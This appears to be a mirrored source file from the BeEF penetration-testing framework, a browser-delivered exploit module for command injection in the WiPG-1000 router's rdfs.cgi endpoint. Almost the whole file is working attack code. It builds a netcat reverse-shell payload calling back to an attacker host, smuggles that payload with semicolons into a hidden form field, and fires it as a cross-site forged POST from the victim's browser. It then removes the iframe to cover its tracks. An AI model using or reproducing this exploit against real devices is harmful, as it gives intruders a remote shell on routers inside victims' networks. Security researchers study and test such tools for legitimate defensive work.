Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/router/wipg1000_cmd_injection/command.js
1875 views
1
//
2
// Copyright (c) 2006-2026 Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
var rhost = '<%= @rhost %>';
9
var rport = '<%= @rport %>';
10
var lhost = '<%= @lhost %>';
11
var lport = '<%= @lport %>';
12
var timeout = 15;
13
14
var url = "http://" + rhost + ":" + rport + "/cgi-bin/rdfs.cgi";
15
var fifo = '/tmp/' + Math.random().toString(36).substring(7);
16
var payload = 'mkfifo ' + fifo + '; nc ' + lhost + ' ' + lport + ' 0<' + fifo + ' | /bin/sh >' + fifo + ' 2>&1; rm ' + fifo;
17
18
beef.debug("[WiPG-1000 Command Injection] Sending payload: " + url);
19
var wipg1000_cmd_injection_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(
20
url, 'POST', 'application/x-www-form-urlencoded', [
21
{'type':'hidden', 'name':'Client', 'value':';' + payload + ';'},
22
{'type':'hidden', 'name':'Download', 'value':'Download'}
23
]);
24
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
25
26
cleanup = function() {
27
document.body.removeChild(wipg1000_cmd_injection_iframe_<%= @command_id %>);
28
}
29
setTimeout("cleanup()", timeout*1000);
30
31
});
32
33
34